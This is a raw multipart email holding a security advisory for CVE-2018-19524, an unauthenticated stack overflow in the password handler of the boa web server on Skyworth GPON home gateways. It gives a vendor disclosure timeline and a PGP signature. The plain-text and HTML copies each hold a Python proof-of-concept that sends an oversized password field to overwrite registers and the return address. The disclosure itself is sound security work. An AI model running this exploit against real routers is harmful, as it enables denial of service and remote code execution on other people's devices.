KSA-DEV-001: CVE-2018-19524 : StackOverflow in Multiple Skyworth GPON HomeGateways and Optical Network terminals.

--J6R5zNx5yM3Bq2sWDzNVGqLC2PjdZtjfy
Content-Type: multipart/mixed; boundary="JxARVJGJGpSBYA5qiPjWKGEaZgG0Rcyg6";
 protected-headers="v1"
From: Kingkaustubh <[email protected]>
To: [email protected], [email protected],
 [email protected]
Message-ID: <[email protected]>
Subject: KSA-DEV-001: CVE-2018-19524 : StackOverflow in Multiple Skyworth GPON
 HomeGateways and Optical Network terminals.

--JxARVJGJGpSBYA5qiPjWKGEaZgG0Rcyg6
Content-Type: multipart/mixed;
 boundary="------------5CA14373F0BDB06AC041B96C"
Content-Language: en-US

This is a multi-part message in MIME format.
--------------5CA14373F0BDB06AC041B96C
Content-Type: multipart/alternative;
 boundary="------------3464B76B66B57A5B6373C770"


--------------3464B76B66B57A5B6373C770
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
Unauthenticated  Stack Overflow in Multiple Gpon Devices
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D

=2E contents:: Table Of Content

Overview
=3D=3D=3D=3D=3D=3D=3D=3D

Title:- StackOverflow in Multiple Skyworth GPON HomeGateways and Optical =
Network terminals.=20
CVE-ID :- CVE-2018-19524
Author: Kaustubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyw=
orthdigital.com/products)
Products:
	 1.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
	2.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
	3.DT721-cb GPON uplink home gateway (GPON+2FE+1POTS)
	4.DT721-cb GPON Uplink Home Gateway (GPON+2FE+1POTS)
	5.DT741-cb GPON uplink home gateway (GPON+4FE+1POTS+WIFI+USB)
	6.DT741-cb GPON Uplink Home Gateway (GPON+4FE+1POTS+WIFI+USB)
	7.DT741-cbGPON uplink home gateway DT741-cb


Tested Version: : Multiple versions
Severity: High--Critical

Advisory ID
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
KSA-Dev-001

About the Product:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

* The (products from above list)  is a high performance GPON access gatew=
ay that complies with ITU-G.984 and CTC standards.
* Configure a GPON optical interface, two FEs, one POTS
* Provide Ethernet, VOIP and other interfaces to meet the access requirem=
ents of different devices.
* It can provide high-performance broadband access services for home user=
s, individual users, and SOHO small businesses.
* Supports the standard TR069 protocol,which can be flexibly customized a=
ccording to the carrier network and is compatible with mainstream OLT,sof=
tware switching and service management platforms

Description:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
An issue was discovered on Shenzhen Skyworth
DT741 Converged Intelligent Terminal (G/EPON+IPTV) SDOTBGN1,DT721-cb SDOT=
BGN1,and DT741-cb SDOTBGN1 devices.
A long password to the Web_passwd function allows remote attackers to cau=
se a denial of service (segmentation fault) or
achieve unauthenticated remote code execution because of control of regis=
ters
S0 through S4 and T4 through T7.


Additional Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The value of password under Web_passwd function is not getting sanitized,=
so passing too much junk data to the password parameter triggers to the S=
IGSEGV segmentation fault in device, post research it
was possible to control the registers from S0-S4 and T4-T7.A Successful e=
xploitation could leads to unauthenticated remote code execution on devic=
e.


[Affected Component]
web_passwd function inside the boa web server implementation.

------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Code execution]
true
------------------------------------------
[Impact Denial of Service]
true

------------------------------------------
[Attack Vectors]
Remote code execution by running the poc.py against the target ip address=
=2E

[Vulnerability Type]
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Buffer Overflow,Exec

How to Reproduce: (POC):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

One can use below exploit

import socket
import struct

buf =3D "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-=
Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52=
=2E0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*=
/*;q=3D0.8\r\nAccept-Language: en-US,en;q=3D0.5\r\nAccept-Encoding: gzip,=
 deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: Log=
inTimes=3D0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nConte=
nt-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"=

buf+=3D"Username=3DBufferoverflow"
buf+=3D"&Logoff=3D0"=20
buf+=3D"&LoginTimes=3D1"
buf+=3D"&LoginTimes_Zero=3D0"
buf+=3D"&value_one=3D1"
buf+=3D"&Password1=3Dxss"
buf+=3D"&Password2=3Dxss"
buf+=3D"&logintype=3Dusr"
buf+=3D"&Password=3D"
buf+=3D"A"*999 #Padding till T4
buf+=3D"T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+=3D"T7T7" #T7 sleep address based on libc
buf+=3D"B"*9 #Padding till T6
buf+=3D "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+=3D"K"*8 #Padding between T6to s0
buf+=3D"S0S0" #S0 Address sleep address boa possitive
buf+=3D"S1S1" #S1 Address Sleep Address Boa negetive
buf+=3D"S2S2" #S2 Address Normal Sleep Adress
buf+=3D"S3S3" #S3Address System Address
buf+=3D"\xA0\x0E\xA2\x18" #return Address
buf+=3D"K"*600


print buf
print "[+] sending buffer size", len(buf)
s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

Mitigation
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

No Official mitigation recived from vendor.

[Vendor of Product]
Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigi=
tal.com/products)

Disclosure:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
01-Nov-2018 Discoverd the vulnerability
03-Nov-2018 Reported to vendor (No Response)
13-Nov-2018 follow-up-01 (No reposonse.)
24-Nov-2018 Requested for CVE/Cve's.
26-Nov-2018 CVE-Assign by Mitre

credits:
=3D=3D=3D=3D=3D=3D=3D=3D
* Kaustubh Padwad
* Information Security Researcher
* [email protected]
* https://s3curityb3ast.github.io/
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad


--------------3464B76B66B57A5B6373C770
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

<html>
  <head>

    <meta http-equiv=3D"content-type" content=3D"text/html; charset=3DUTF=
-8">
  </head>
  <body text=3D"#000000" bgcolor=3D"#FFFFFF">
    <pre style=3D"color: rgb(0, 0, 0); font-style: normal; font-variant-l=
igatures: normal; font-variant-caps: normal; font-weight: 400; letter-spa=
cing: normal; orphans: 2; text-align: start; text-indent: 0px; text-trans=
form: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;=
 text-decoration-style: initial; text-decoration-color: initial; overflow=
-wrap: break-word; white-space: pre-wrap;">=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Unauthenticated  Stack Overflow in Multiple Gpon Devices
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D

=2E contents:: Table Of Content

Overview
=3D=3D=3D=3D=3D=3D=3D=3D

Title:- StackOverflow in Multiple Skyworth GPON HomeGateways and Optical =
Network terminals.=20
CVE-ID :- CVE-2018-19524
Author: Kaustubh G. Padwad
Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(<a class=3D"moz=
-txt-link-freetext" href=3D"http://www.skyworthdigital.com/products">http=
://www.skyworthdigital.com/products</a>)
Products:
	 1.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
	2.DT741 Converged Intelligent Terminal (G/EPON+IPTV)
	3.DT721-cb GPON uplink home gateway (GPON+2FE+1POTS)
	4.DT721-cb GPON Uplink Home Gateway (GPON+2FE+1POTS)
	5.DT741-cb GPON uplink home gateway (GPON+4FE+1POTS+WIFI+USB)
	6.DT741-cb GPON Uplink Home Gateway (GPON+4FE+1POTS+WIFI+USB)
	7.DT741-cbGPON uplink home gateway DT741-cb


Tested Version: : Multiple versions
Severity: High--Critical

Advisory ID
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
KSA-Dev-001

About the Product:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

* The (products from above list)  is a high performance GPON access gatew=
ay that complies with ITU-G.984 and CTC standards.
* Configure a GPON optical interface, two FEs, one POTS
* Provide Ethernet, VOIP and other interfaces to meet the access requirem=
ents of different devices.
* It can provide high-performance broadband access services for home user=
s, individual users, and SOHO small businesses.
* Supports the standard TR069 protocol,which can be flexibly customized a=
ccording to the carrier network and is compatible with mainstream OLT,sof=
tware switching and service management platforms

Description:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
An issue was discovered on Shenzhen Skyworth
DT741 Converged Intelligent Terminal (G/EPON+IPTV) SDOTBGN1,DT721-cb SDOT=
BGN1,and DT741-cb SDOTBGN1 devices.
A long password to the Web_passwd function allows remote attackers to cau=
se a denial of service (segmentation fault) or
achieve unauthenticated remote code execution because of control of regis=
ters
S0 through S4 and T4 through T7.


Additional Information
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The value of password under Web_passwd function is not getting sanitized,=
so passing too much junk data to the password parameter triggers to the S=
IGSEGV segmentation fault in device, post research it
was possible to control the registers from S0-S4 and T4-T7.A Successful e=
xploitation could leads to unauthenticated remote code execution on devic=
e.


[Affected Component]
web_passwd function inside the boa web server implementation.

------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Impact Code execution]
true
------------------------------------------
[Impact Denial of Service]
true

------------------------------------------
[Attack Vectors]
Remote code execution by running the poc.py against the target ip address=
=2E

[Vulnerability Type]
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Buffer Overflow,Exec

How to Reproduce: (POC):
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

One can use below exploit

import socket
import struct

buf =3D "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-=
Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52=
=2E0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=3D0.9,*=
/*;q=3D0.8\r\nAccept-Language: en-US,en;q=3D0.5\r\nAccept-Encoding: gzip,=
 deflate\r\nReferer: <a class=3D"moz-txt-link-freetext" href=3D"http://19=
2.168.1.2/cgi-bin/index2.asp\r\nCookie">http://192.168.1.2/cgi-bin/index2=
=2Easp\r\nCookie</a>: LoginTimes=3D0\r\nConnection: Close\r\nUpgrade-Inse=
cure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nCo=
ntent-Length: 1714\r\n\n"
buf+=3D"Username=3DBufferoverflow"
buf+=3D"&amp;Logoff=3D0"=20
buf+=3D"&amp;LoginTimes=3D1"
buf+=3D"&amp;LoginTimes_Zero=3D0"
buf+=3D"&amp;value_one=3D1"
buf+=3D"&amp;Password1=3Dxss"
buf+=3D"&amp;Password2=3Dxss"
buf+=3D"&amp;logintype=3Dusr"
buf+=3D"&amp;Password=3D"
buf+=3D"A"*999 #Padding till T4
buf+=3D"T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+=3D"T7T7" #T7 sleep address based on libc
buf+=3D"B"*9 #Padding till T6
buf+=3D "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+=3D"K"*8 #Padding between T6to s0
buf+=3D"S0S0" #S0 Address sleep address boa possitive
buf+=3D"S1S1" #S1 Address Sleep Address Boa negetive
buf+=3D"S2S2" #S2 Address Normal Sleep Adress
buf+=3D"S3S3" #S3Address System Address
buf+=3D"\xA0\x0E\xA2\x18" #return Address
buf+=3D"K"*600


print buf
print "[+] sending buffer size", len(buf)
s =3D socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

Mitigation
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

No Official mitigation recived from vendor.

[Vendor of Product]
Shenzhen Skyworth Digital Technology Company Ltd.(<a class=3D"moz-txt-lin=
k-freetext" href=3D"http://www.skyworthdigital.com/products">http://www.s=
kyworthdigital.com/products</a>)

Disclosure:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
01-Nov-2018 Discoverd the vulnerability
03-Nov-2018 Reported to vendor (No Response)
13-Nov-2018 follow-up-01 (No reposonse.)
24-Nov-2018 Requested for CVE/Cve's.
26-Nov-2018 CVE-Assign by Mitre

credits:
=3D=3D=3D=3D=3D=3D=3D=3D
* Kaustubh Padwad
* Information Security Researcher
* <a class=3D"moz-txt-link-abbreviated" href=3D"mailto:[email protected]=
m">[email protected]</a>
* <a class=3D"moz-txt-link-freetext" href=3D"https://s3curityb3ast.github=
=2Eio/">https://s3curityb3ast.github.io/</a>
* <a class=3D"moz-txt-link-freetext" href=3D"https://twitter.com/s3curity=
b3ast">https://twitter.com/s3curityb3ast</a>
* <a class=3D"moz-txt-link-freetext" href=3D"http://breakthesec.com">http=
://breakthesec.com</a>
* <a class=3D"moz-txt-link-freetext" href=3D"https://www.linkedin.com/in/=
kaustubhpadwad">https://www.linkedin.com/in/kaustubhpadwad</a></pre>
  </body>
</html>

--------------3464B76B66B57A5B6373C770--

--------------5CA14373F0BDB06AC041B96C
Content-Type: application/pgp-keys;
 name="0x91DE3179748C111E.asc"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
 filename="0x91DE3179748C111E.asc"

-----BEGIN PGP PUBLIC KEY BLOCK-----

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
fxQsixAmDNM0LQ=3D=3D
=3D7DAL
-----END PGP PUBLIC KEY BLOCK-----

--------------5CA14373F0BDB06AC041B96C--

--JxARVJGJGpSBYA5qiPjWKGEaZgG0Rcyg6--

--J6R5zNx5yM3Bq2sWDzNVGqLC2PjdZtjfy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEzV52156Jrm7JcKrQkd4xeXSMER4FAlxgDxQACgkQkd4xeXSM
ER7ecQ/+I+clO9D77YDB/VW6iSNHcvvf2lZe2t+6QTwp4nBUnTTrKCsSBoQEKrgU
254LQtOPQAFtTywFiJ86zv3JZkYmP3AZDA2cRMh3d8vTE5UrJEDErr7izwDSNWFH
TQk84j+IGSOQLNcDLBBWMhB/4bedQ0nxpTwu4akKwU5OnsO3Oy7uGWJPYjsS11lW
beh0HWNaq8WxD0XF2oImQGpwbrNEzv97zyNXLH054GfBWRgRJ4U/M6rJLy3AVcji
ChnehNdBtyp2jCDAjEpdYT4AKnSOo8yUgEh2tmXNbwbofyCGTDXL90sjiv3yahnv
aVzZJkUukAD9I7WHIA4VwPmSO38GjihaaBr0n42RNrQRhv6JGJvMDZ4V7+LGtS/M
Ef/PBU7tsIHWKNomsWON+peFHGfjuDgrDnGFO3EJThzgmxd/UaIbbcffmXs8jDrw
qK1ZiMPBoDzcbYtJjfD/Z1nO8XkHsT0KPTXUX3j2OOIyLAldQT8qn5XJKrd4Eo1M
Nfpj05Ef+7s9ariO9wmvcwExBOOpoBePVIdWhSAM2ZEoTnoAM8PTdqCSLnZdwEOZ
arg5wONSu4xuYFberpJ4LEkxEJZ3POmzQF9EonO11zO1S4opQmylzbf1U6n/GA0T
1BwhrM229moeIafyiRB9rtNZegyZgwf7yEe3EnIKxnY6RgaePrY=
=i7xf
-----END PGP SIGNATURE-----

--J6R5zNx5yM3Bq2sWDzNVGqLC2PjdZtjfy--